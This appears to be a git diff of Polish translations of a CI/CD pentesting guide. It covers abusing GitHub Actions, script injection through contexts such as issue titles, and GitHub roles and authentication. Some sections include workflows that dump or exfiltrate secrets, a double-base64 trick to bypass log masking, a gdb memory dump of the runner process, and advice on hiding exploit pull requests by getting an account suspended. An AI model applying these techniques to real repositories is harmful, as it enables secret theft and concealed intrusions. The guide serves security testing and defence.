-Wyświetl sekrety w wyjściu Github Action +Wypisz sekrety w wyjściu Github Action ```yaml name: list_env on: @@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Uzyskaj reverse shell z użyciem secrets +Uzyskaj reverse shell, używając secrets ```yaml name: revshell on: @@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Jeśli sekret jest użyty **bezpośrednio w wyrażeniu**, wygenerowany skrypt shell zostaje zapisany **na dysku** i jest dostępny. +- Jeśli secret jest użyty **bezpośrednio w wyrażeniu**, wygenerowany skrypt powłoki jest zapisany **na dysku** i jest dostępny. - ```bash cat /home/runner/work/_temp/* ``` -- W przypadku JavaScript actions sekrety są przekazywane przez zmienne środowiskowe +- W przypadku JavaScript actions secrets są przesyłane przez zmienne środowiskowe - ```bash ps axe | grep node ``` -- W przypadku **custom action**, ryzyko może się różnić w zależności od tego, jak program używa sekretu, który otrzymał z **argumentu**: +- W przypadku **custom action**, ryzyko może się różnić w zależności od tego, w jaki sposób program używa secret, który otrzymał z **argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +542,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Wylicz wszystkie sekrety za pomocą secrets context (poziom collaborator). Współpracownik z uprawnieniami write może zmodyfikować workflow na dowolnej gałęzi, aby zrzucić wszystkie sekrety repozytorium/org/środowiska. Użyj podwójnego base64, aby obejść maskowanie logów GitHub i dekoduj lokalnie: +- Wylicz wszystkie secrets za pomocą secrets context (poziom collaborator). Współautor z uprawnieniami do zapisu może zmodyfikować workflow na dowolnym branchu, aby zrzucić wszystkie repository/org/environment secrets. Użyj podwójnego base64, aby obejść maskowanie logów GitHub i zdekoduj lokalnie: ```yaml name: Steal secrets @@ -564,25 +564,25 @@ Dekoduj lokalnie: echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Wskazówka: dla ukrycia podczas testów, zaszyfruj przed wypisaniem (openssl jest preinstalowany na GitHub-hosted runners). +Wskazówka: podczas testów, dla zachowania kamuflażu, zaszyfruj przed wypisaniem (openssl jest preinstalowany na GitHub-hosted runners). -### Wykorzystywanie self-hosted runnerów +### Wykorzystywanie Self-hosted runners -Sposób, by znaleźć, które **GitHub Actions są wykonywane poza infrastrukturą GitHub**, to wyszukanie **`runs-on: self-hosted`** w pliku konfiguracyjnym GitHub Action yaml. +Sposób, aby znaleźć, które **Github Actions are being executed in non-github infrastructure**, to wyszukać **`runs-on: self-hosted`** w konfiguracji Github Action yaml. -**Self-hosted** runners mogą mieć dostęp do **dodatkowo wrażliwych informacji**, do innych **systemów sieciowych** (podatne endpoints w sieci? metadata service?) lub, nawet jeśli są izolowane i niszczone, **może być uruchomionych więcej niż jedna action jednocześnie** i złośliwa może **ukraść sekrety** innej. +**Self-hosted** runners mogą mieć dostęp do **extra sensitive information**, do innych **network systems** (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i usunięte, **more than one action might be run at the same time** i złośliwa mogłaby **steal the secrets** innej. -W self-hosted runnerach możliwe jest również pozyskanie **sekretów z procesu _Runner.Listener_**, który będzie zawierał wszystkie sekrety workflowów na każdym etapie poprzez zrzut jego pamięci: +W self-hosted runnerach możliwe jest również uzyskanie **secrets from the \_Runner.Listener**\_\*\* process\*\* który będzie zawierał wszystkie secrets of the workflows na dowolnym etapie poprzez zrzucenie jego pamięci: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Zobacz [**ten wpis, aby uzyskać więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Sprawdź [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Rejestr obrazów Docker w Github -Możliwe jest stworzenie Github actions, które **zbudują i zapiszą obraz Dockera w Github**.\ -Przykład można znaleźć w poniższym rozwijanym: +Możliwe jest utworzenie Github actions, które **zbudują i przechowają obraz Dockera w Github**.\ +Przykład można znaleźć w poniższym rozwijanym elemencie:
@@ -619,29 +619,29 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Jak widać w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**. -Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać Docker Image, używając tokena dostępu osobistego: +Użytkownik z uprawnieniami do odczytu repozytorium będzie w stanie pobrać Docker Image przy użyciu personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Następnie użytkownik mógłby przeszukać **leaked secrets in the Docker image layers:** +Następnie użytkownik mógłby wyszukać **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Wrażliwe informacje w logach Github Actions +### Poufne informacje w logach Github Actions -Nawet jeśli **Github** próbuje **wykryć wartości sekretów** w logach akcji i **uniknąć ich wyświetlania**, inne wrażliwe dane, które mogły zostać wygenerowane podczas wykonania akcji, nie zostaną ukryte. Na przykład JWT podpisany wartością sekretu nie zostanie ukryty, chyba że jest [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Nawet jeśli **Github** próbuje **detect secret values** w logach actions i **avoid showing** je, **inne wrażliwe dane** które mogły zostać wygenerowane podczas wykonania action nie będą ukryte. Na przykład JWT podpisany za pomocą wartości sekretu nie zostanie ukryty, chyba że jest [specjalnie skonfigurowane](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Zacieranie śladów +## Ukrywanie śladów -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Po pierwsze, każdy utworzony PR jest wyraźnie widoczny publicznie na Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien haczyk. Dla kont Github, które zostały **zawieszone** przez Github, wszystkie ich **PR-y są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo doprowadzić do **zawieszenia konta GitHub lub oznaczenia konta**, albo sprawić, by konto zostało zgłoszone. To **ukryje wszystkie twoje działania** na GitHub przed internetem (w zasadzie usunie wszystkie twoje exploit PR). +(Technika z [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Po pierwsze, każdy PR jest wyraźnie widoczny publicznie na Github i dla docelowego konta GitHub. Domyślnie na GitHub nie możemy usunąć PR z internetu, ale jest pewien trik. Dla kont GitHub, które zostaną zawieszone przez GitHub, wszystkie ich PR są automatycznie usuwane i usuwane z internetu. Aby więc ukryć swoją aktywność, musisz albo doprowadzić do zawieszenia swojego GitHub account lub sprawić, by twoje konto zostało oznaczone. To ukryje wszystkie twoje działania na GitHub przed internetem (praktycznie usunie wszystkie twoje exploit PR) -Organizacja na GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „some stuff” w Issue i zadbają o to, żeby twoje konto zostało zawieszone w ciągu 12 godzin :p i oto masz — twój exploit niewidoczny na github. +Organizacja na GitHub jest bardzo aktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „some stuff” w Issue i oni zadbają, żeby twoje konto zostało zawieszone w ciągu 12 godzin :p i oto masz — twój exploit stał się niewidoczny na github. > [!WARNING] -> Jedynym sposobem, by organizacja mogła stwierdzić, że była celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z poziomu GitHub UI PR zostałby usunięty. +> Jedyny sposób, by organizacja zorientowała się, że została zaatakowana, to sprawdzenie logów GitHub z SIEM, ponieważ z poziomu UI GitHub PR zostanie usunięty. ## Referencje diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 2b68eafdf..c4180bf2b 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -4,18 +4,18 @@ ## Zrozumienie ryzyka -GitHub Actions renderuje wyrażenia ${{ ... }} przed wykonaniem kroku. Wartość po renderowaniu jest wklejana do programu kroku (dla kroków run:, skrypt shell). Jeśli interpolujesz niezaufane dane wejściowe bezpośrednio wewnątrz run:, atakujący kontroluje część programu shell i może wykonać dowolne polecenia. +GitHub Actions renderuje wyrażenia ${{ ... }} zanim krok się wykona. Wartość po renderowaniu jest wklejana do programu kroku (dla kroków z run:, skrypt shell). Jeśli interpolujesz niezaufane dane bezpośrednio w run:, atakujący kontroluje część programu shell i może wykonać dowolne polecenia. -Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts +Dokumentacja: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts Kluczowe punkty: -- Renderowanie odbywa się przed wykonaniem. Skrypt run jest wygenerowany z wszystkimi rozwiązanymi wyrażeniami, a następnie uruchamiany przez shell. -- Wiele kontekstów zawiera pola kontrolowane przez użytkownika zależnie od zdarzenia wyzwalającego (issues, PRs, comments, discussions, forks, stars itp.). Zobacz untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/ -- Cytowanie w shell wewnątrz run: nie jest niezawodną obroną, ponieważ wstrzyknięcie zachodzi na etapie renderowania szablonu. Atakujący mogą przerwać cudzysłowy lub wstrzykiwać operatory poprzez spreparowane dane. +- Renderowanie odbywa się przed wykonaniem. Skrypt z run: jest wygenerowany z wszystkimi rozwiązanymi wyrażeniami, a następnie wykonany przez shell. +- Wiele contexts zawiera pola kontrolowane przez użytkownika w zależności od zdarzenia wyzwalającego (issues, PRs, comments, discussions, forks, stars, etc.). Zobacz untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- Cytowanie w shellu wewnątrz run: nie jest niezawodną obroną, ponieważ wstrzyknięcie ma miejsce na etapie renderowania szablonu. Atakujący mogą wyłamać się z cytatów lub wstrzyknąć operatory za pomocą spreparowanego inputu. ## Wrażliwy wzorzec → RCE na runnerze -Wrażliwy workflow (wyzwalany gdy ktoś otworzy nowe issue): +Wrażliwy workflow (wyzwalany, gdy ktoś otwiera nowe issue): ```yaml name: New Issue Created on: @@ -36,20 +36,20 @@ with: github_token: ${{ secrets.GITHUB_TOKEN }} labels: new ``` -Jeśli atakujący otworzy issue zatytułowane $(id), wyrenderowany krok stanie się: +Jeśli atakujący otworzy issue zatytułowane $(id), wyrenderowany krok staje się: ```sh echo "New issue $(id) created" ``` -Substytucja polecenia uruchamia id na runnerze. Przykładowy wynik: +Substytucja polecenia uruchamia id na runnerze. Przykładowe wyjście: ``` New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created ``` Dlaczego cytowanie nie wystarczy: -- Wyrażenia są najpierw renderowane, a następnie uruchamiany jest powstały skrypt. Jeśli nieufna wartość zawiera $(...), `;`, `"`/`'`, lub nowe linie, może zmienić strukturę programu mimo twojego cytowania. +- Wyrażenia są najpierw renderowane, a następnie uruchamiany jest otrzymany skrypt. Jeśli niezaufana wartość zawiera $(...), `;`, `"`/`'` lub znaki nowej linii, może zmienić strukturę programu pomimo twojego cytowania. -## Safe pattern (shell variables via env) +## Bezpieczny wzorzec (shell variables via env) -Poprawne rozwiązanie: skopiuj nieufne dane wejściowe do environment variable, następnie użyj native shell expansion ($VAR) w run script. Nie osadzaj ponownie z ${{ ... }} w obrębie command. +Poprawne zabezpieczenie: skopiuj niezaufane dane wejściowe do zmiennej środowiskowej, a następnie użyj natywnego rozwinięcia shella ($VAR) w skrypcie run. Nie osadzaj ponownie za pomocą ${{ ... }} wewnątrz polecenia. ```yaml # safe jobs: @@ -62,31 +62,31 @@ TITLE: ${{ github.event.issue.title }} run: | echo "New issue $TITLE created" ``` -Notatki: -- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk. +Uwagi: +- Unikaj używania ${{ env.TITLE }} inside run:. To ponownie wprowadza renderowanie szablonów do polecenia i powoduje to samo ryzyko wstrzyknięcia. - Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:. -## Powierzchnie wyzwalane przez czytelników (traktuj jako niezaufane) +## Powierzchnie wyzwalane przez użytkowników (traktuj jako niezaufane) -Konta mające tylko uprawnienia do odczytu w publicznych repozytoriach wciąż mogą wyzwalać wiele zdarzeń. Każde pole w kontekstach pochodzących z tych zdarzeń należy traktować jako kontrolowane przez atakującego, o ile nie udowodniono inaczej. Przykłady: +Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Przykłady: - issues, issue_comment -- discussion, discussion_comment (orgs mogą ograniczać discussions) +- discussion, discussion_comment (organizacje mogą ograniczać dyskusje) - pull_request, pull_request_review, pull_request_review_comment -- pull_request_target (niebezpieczne jeśli użyte niewłaściwie, uruchamia się w kontekście repozytorium bazowego) -- fork (każdy może forkować publiczne repozytoria) -- watch (starring a repo) -- Pośrednio przez workflow_run/workflow_call chains +- pull_request_target (niebezpieczne przy niewłaściwym użyciu — uruchamia się w kontekście base repo) +- fork (każdy może sforkować publiczne repozytoria) +- watch (gwiazdkowanie repozytorium) +- Indirectly via workflow_run/workflow_call chains -Które konkretne pola są kontrolowane przez atakującego zależy od zdarzenia. Zapoznaj się z GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/ +Które konkretne pola są kontrolowane przez atakującego zależy od zdarzenia. Zapoznaj się z przewodnikiem GitHub Security Lab po niezaufanych wejściach: https://securitylab.github.com/resources/github-actions-untrusted-input/ ## Praktyczne wskazówki -- Minimalizuj użycie wyrażeń inside run:. Preferuj mapowanie env: + $VAR. -- Jeśli musisz transformować input, rób to w shellu używając bezpiecznych narzędzi (printf %q, jq -r, itd.), nadal zaczynając od zmiennej shellowej. -- Bądź wyjątkowo ostrożny przy interpolowaniu nazw gałęzi, tytułów PR, nazw użytkowników, etykiet, tytułów discussion oraz PR head refs do skryptów, flag wiersza poleceń lub ścieżek plików. -- Dla reusable workflows i composite actions zastosuj ten sam wzorzec: mapuj do env, a potem odwołuj się do $VAR. +- Minimalizuj użycie wyrażeń wewnątrz run:. Preferuj mapowanie env: i odniesienia przez $VAR. +- Jeśli musisz przekształcić dane wejściowe, rób to w shellu używając bezpiecznych narzędzi (printf %q, jq -r itp.), zaczynając nadal od zmiennej shellowej. +- Zachowaj szczególną ostrożność przy interpolowaniu branch names, PR titles, usernames, labels, discussion titles oraz PR head refs do skryptów, opcji wiersza poleceń lub ścieżek plików. +- Dla reusable workflows i composite actions stosuj ten sam wzorzec: mapuj do env, a następnie odwołuj się przez $VAR. -## References +## Referencje - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) - [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 0e74b856c..b0bd07b32 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,153 +4,153 @@ ## Podstawowa struktura -Podstawowa struktura środowiska github w dużej **firmie** to posiadanie **enterprise**, które posiada **several organizations**, a każda z nich może zawierać **several repositories** i **several teams**. Mniejsze firmy mogą po prostu **own one organization and no enterprises**. +Podstawowa struktura środowiska github w dużej **firmie** polega na posiadaniu **enterprise**, które posiada **kilka organizacji**, a każda z nich może zawierać **wiele repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i brak enterprise**. -Z punktu widzenia użytkownika **user** może być **member** w **różnych enterprises i organizations**. W ich ramach użytkownik może mieć **różne enterprise, organization i repository roles**. +Z punktu widzenia użytkownika **user** może być **członkiem** różnych enterprise i organizacji. W ich obrębie użytkownik może mieć **różne role na poziomie enterprise, organizacji i repozytorium**. -Dodatkowo użytkownik może być **częścią różnych teams** z różnymi enterprise, organization lub repository rolami. +Ponadto użytkownik może być **członkiem różnych zespołów** z różnymi rolami na poziomie enterprise, organizacji lub repozytorium. -I wreszcie **repositories mogą mieć specjalne mechanizmy ochronne**. +I wreszcie **repozytoria mogą mieć specjalne mechanizmy ochronne**. ## Uprawnienia ### Enterprise Roles -- **Enterprise owner**: Osoby z tą rolą mogą **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Jednak **cannot access organization settings or content** chyba że zostaną nadani organization owner lub otrzymają bezpośredni dostęp do repozytorium należącego do organizacji. -- **Enterprise members**: Członkowie organizations należących do twojego enterprise są również **automatycznie members of the enterprise**. +- **Enterprise owner**: Osoby z tą rolą mogą **zarządzać administratorami, zarządzać organizacjami w ramach enterprise, zarządzać ustawieniami enterprise, egzekwować zasady w organizacjach**. Jednak **nie mają dostępu do ustawień ani treści organizacji**, chyba że zostaną uczynione właścicielem organizacji lub otrzymają bezpośredni dostęp do repozytorium należącego do organizacji. +- **Enterprise members**: Członkowie organizacji należących do twojego enterprise są również **automatycznie członkami enterprise**. ### Organization Roles W organizacji użytkownicy mogą mieć różne role: -- **Organization owners**: Organization owners mają **complete administrative access to your organization**. Ta rola powinna być ograniczona, ale nie do mniej niż dwóch osób w organizacji. -- **Organization members**: **Domyślną**, nieadministracyjną rolą dla **osób w organization** jest organization member. Domyślnie organization members **mają szereg uprawnień**. -- **Billing managers**: Billing managers to użytkownicy, którzy mogą **manage the billing settings for your organization**, np. informacje płatnicze. -- **Security Managers**: To rola, którą organization owners mogą przypisać dowolnemu team w organizacji. Po zastosowaniu daje każdemu członkowi zespołu uprawnienia do **manage security alerts and settings across your organization, as well as read permissions for all repositories** w organizacji. -- Jeśli twoja organizacja ma security team, możesz użyć roli security manager, by dać członkom zespołu najniższy potrzebny dostęp do organizacji. -- **Github App managers**: Aby umożliwić dodatkowym użytkownikom **manage GitHub Apps owned by an organization**, owner może nadać im GitHub App manager permissions. -- **Outside collaborators**: Outside collaborator to osoba, która ma **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Organization owners**: Właściciele organizacji mają **pełny dostęp administracyjny do organizacji**. Tę rolę należy ograniczyć, ale nie powinno być jej mniej niż u dwóch osób w organizacji. +- **Organization members**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie członkowie organizacji **mają określone uprawnienia**. +- **Billing managers**: Billing managers to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń organizacji**, takimi jak informacje o płatnościach. +- **Security Managers**: To rola, którą właściciele organizacji mogą przydzielić dowolnemu zespołowi w organizacji. Po zastosowaniu daje każdemu członkowi zespołu uprawnienia do **zarządzania alertami i ustawieniami bezpieczeństwa w całej organizacji oraz uprawnienia do odczytu wszystkich repozytoriów** w organizacji. +- Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli security manager, aby dać członkom zespołu minimalny potrzebny dostęp do organizacji. +- **Github App managers**: Aby umożliwić dodatkowym użytkownikom **zarządzanie GitHub Apps należącymi do organizacji**, właściciel może przyznać im uprawnienia Github App manager. +- **Outside collaborators**: Outside collaborator to osoba, która ma **dostęp do jednego lub więcej repozytoriów organizacji, ale nie jest formalnie członkiem** organizacji. Możesz **porównać uprawnienia** tych ról w tej tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Uprawnienia członków -W _https://github.com/organizations/\/settings/member_privileges_ możesz zobaczyć **uprawnienia, które użytkownicy będą mieli tylko za bycie częścią organizacji**. +W _https://github.com/organizations/\/settings/member_privileges_ możesz zobaczyć **uprawnienia, które użytkownicy będą mieć tylko z tytułu bycia częścią organizacji**. -Ustawienia skonfigurowane tutaj określą następujące uprawnienia członków organizacji: +Ustawienia tu skonfigurowane określają następujące uprawnienia członków organizacji: -- Być adminem, writerem, readerem lub nie mieć uprawnień do wszystkich repositories organizacji. -- Czy members mogą tworzyć private, internal lub public repositories. -- Czy forking repozytoriów jest możliwy. +- Być adminem, writerem, readerem lub nie mieć żadnych uprawnień do wszystkich repozytoriów organizacji. +- Czy członkowie mogą tworzyć prywatne, wewnętrzne lub publiczne repozytoria. +- Czy możliwe jest forking repozytoriów. - Czy możliwe jest zapraszanie outside collaborators. -- Czy public lub private sites mogą być publikowane. -- Uprawnienia, które admins mają względem repositories. -- Czy members mogą tworzyć nowe teams. +- Czy publiczne lub prywatne strony mogą być publikowane. +- Uprawnienia, jakie mają admini względem repozytoriów. +- Czy członkowie mogą tworzyć nowe zespoły. -### Repository Roles +### Role w repozytorium -Domyślnie tworzone są role repozytorium: +Domyślnie tworzone są role w repozytorium: -- **Read**: Zalecane dla **non-code contributors**, którzy chcą przeglądać lub dyskutować nad projektem. -- **Triage**: Zalecane dla **contributors who need to proactively manage issues and pull requests** bez write access. -- **Write**: Zalecane dla contributorów, którzy **actively push to your project**. -- **Maintain**: Zalecane dla **project managers who need to manage the repository** bez dostępu do wrażliwych lub destrukcyjnych działań. -- **Admin**: Zalecane dla osób, które potrzebują **full access to the project**, w tym wrażliwych i destrukcyjnych działań jak zarządzanie security czy usunięcie repository. +- **Read**: Zalecane dla **współpracowników niepiszących kodu**, którzy chcą przeglądać lub omawiać projekt. +- **Triage**: Zalecane dla **współpracowników, którzy muszą proaktywnie zarządzać issues i pull requestami** bez dostępu do zapisu. +- **Write**: Zalecane dla współpracowników, którzy **aktywnie pushują do projektu**. +- **Maintain**: Zalecane dla **kierowników projektu, którzy muszą zarządzać repozytorium** bez dostępu do wrażliwych lub destrukcyjnych działań. +- **Admin**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytorium. Możesz **porównać uprawnienia** każdej roli w tej tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Możesz także **create your own roles** w _https://github.com/organizations/\/settings/roles_ +Możesz także **stworzyć własne role** w _https://github.com/organizations/\/settings/roles_ ### Teams -Możesz **list the teams created in an organization** w _https://github.com/orgs/\/teams_. Zauważ, że aby zobaczyć teams, które są childen innych teams, musisz wejść na stronę każdego parent team. +Możesz **wypisać zespoły utworzone w organizacji** w _https://github.com/orgs/\/teams_. Zauważ, że aby zobaczyć zespoły będące dziećmi innych zespołów, musisz wejść do każdego zespołu nadrzędnego. -### Users +### Użytkownicy -Użytkowników organizacji można **list** w _https://github.com/orgs/\/people._ +Użytkowników organizacji można **wypisać** w _https://github.com/orgs/\/people._ -W informacji o każdym użytkowniku możesz zobaczyć **teams the user is member of**, oraz **repos the user has access to**. +W informacjach o każdym użytkowniku możesz zobaczyć **zespoły, których jest członkiem**, oraz **repozytoria, do których ma dostęp**. ## Github Authentication -Github oferuje różne sposoby uwierzytelniania do konta i wykonywania działań w twoim imieniu. +Github oferuje różne sposoby uwierzytelniania się do konta i wykonywania działań w twoim imieniu. ### Web Access -Dostęp do **github.com** możesz zalogować się używając **username and password** (i potencjalnie **2FA**). +Dostęp do **github.com** pozwala zalogować się przy użyciu **nazwy użytkownika i hasła** (oraz potencjalnie **2FA**). ### **SSH Keys** -Możesz skonfigurować konto z jednym lub kilkoma public keys, pozwalającymi powiązanemu **private key na wykonywanie akcji w twoim imieniu.** [https://github.com/settings/keys](https://github.com/settings/keys) +Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, pozwalającymi odpowiedniemu **kluczowi prywatnemu wykonywać działania w twoim imieniu.** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Keys** -Nie możesz podszyć się pod użytkownika za pomocą tych keys, ale jeśli ich nie używasz, może się zdarzyć, że **zostaniesz wykryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Nie możesz się podszyć pod użytkownika za pomocą tych kluczy, jednak jeśli ich nie używasz, możliwe jest, że **zostaniesz wykryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [vigilant mode tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). ### **Personal Access Tokens** -Możesz wygenerować personal access token, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia personal access token użytkownik musi **określić** **permissions**, które token będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Możesz wygenerować personal access token, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia personal access token użytkownik musi **określić** uprawnienia, jakie **token** będzie posiadać. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Oauth applications mogą poprosić o uprawnienia **to access part of your github information or to impersonate you** aby wykonać pewne działania. Częstym przykładem tej funkcjonalności jest przycisk **login with github**, który możesz znaleźć na niektórych platformach. +Oauth applications mogą poprosić o uprawnienia **do dostępu do części twoich informacji na github lub do podszywania się pod ciebie** w celu wykonania pewnych działań. Powszechnym przykładem tej funkcji jest przycisk **login with github**, który możesz znaleźć na niektórych platformach. -- Możesz **create** własne **Oauth applications** w [https://github.com/settings/developers](https://github.com/settings/developers) -- Możesz zobaczyć wszystkie **Oauth applications that has access to your account** w [https://github.com/settings/applications](https://github.com/settings/applications) -- Możesz zobaczyć **scopes that Oauth Apps can ask for** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Możesz zobaczyć third party access aplikacji w organizacji w _https://github.com/organizations/\/settings/oauth_application_policy_ +- Możesz **stworzyć** własne **Oauth applications** w [https://github.com/settings/developers](https://github.com/settings/developers) +- Możesz zobaczyć wszystkie **Oauth applications, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications) +- Możesz zobaczyć **scope'y, o które Oauth Apps mogą prosić** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Możesz zobaczyć dostęp stron trzecich dla aplikacji w organizacji w _https://github.com/organizations/\/settings/oauth_application_policy_ Kilka **rekomendacji bezpieczeństwa**: -- An **OAuth App** powinno zawsze **act as the authenticated GitHub user across all of GitHub** (np. przy wysyłaniu powiadomień użytkownikowi) i mieć dostęp tylko do określonych scopes. -- An OAuth App może być użyte jako identity provider poprzez włączenie "Login with GitHub" dla uwierzytelnionego użytkownika. -- **Don't** budować **OAuth App** jeśli chcesz, aby twoja aplikacja działała na **single repository**. Z uprawnieniem `repo`, OAuth Apps mogą **act on _all_ of the authenticated user's repositories**. -- **Don't** budować OAuth App, aby działać jako aplikacja dla twojego **team or company**. OAuth Apps uwierzytelniają się jako **single user**, więc jeśli jedna osoba tworzy OAuth App dla firmy, a potem odchodzi, nikt inny nie będzie miał do niej dostępu. -- **More** w [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- A **OAuth App** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub w całym GitHub** (na przykład podczas dostarczania powiadomień użytkownikowi) i mieć dostęp tylko do określonych scope'ów. +- OAuth App może być użyta jako dostawca tożsamości, umożliwiając "Login with GitHub" dla uwierzytelnionego użytkownika. +- **Nie** twórz **OAuth App**, jeśli chcesz, aby twoja aplikacja działała tylko na **jednym repozytorium**. Z zakresem `repo`, OAuth Apps mogą **działać na _wszystkich_** repozytoriach uwierzytelnionego użytkownika. +- **Nie** twórz OAuth App, aby działała jako aplikacja dla twojego **zespołu lub firmy**. OAuth Apps uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy OAuth App dla firmy i potem odejdzie, nikt inny nie będzie miał do niej dostępu. +- **Więcej** informacji [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github Applications -Github applications mogą prosić o uprawnienia, by **access your github information or impersonate you** i wykonać specyficzne akcje na określonych zasobach. W Github Apps musisz określić repositories, do których aplikacja będzie miała dostęp. +Github applications mogą prosić o uprawnienia do **dostępu do twoich informacji na github lub podszywania się pod ciebie** w celu wykonywania określonych działań na konkretnych zasobach. W Github Apps musisz określić repozytoria, do których aplikacja będzie miała dostęp. -- Aby zainstalować GitHub App, musisz być **organisation owner lub mieć admin permissions** w repo. -- GitHub App powinien **connect to a personal account or an organisation**. +- Aby zainstalować GitHub App, musisz być **właścicielem organizacji lub mieć uprawnienia administratora** w repozytorium. +- GitHub App powinien **łączyć się z kontem osobistym lub organizacją**. - Możesz stworzyć własną Github application w [https://github.com/settings/apps](https://github.com/settings/apps) -- Możesz zobaczyć wszystkie **Github applications that has access to your account** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- To są **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień App będzie mogło mieć dostęp do niektórych z nich. -- Możesz zobaczyć zainstalowane apps w organizacji w _https://github.com/organizations/\/settings/installations_ +- Możesz zobaczyć wszystkie **Github applications, które mają 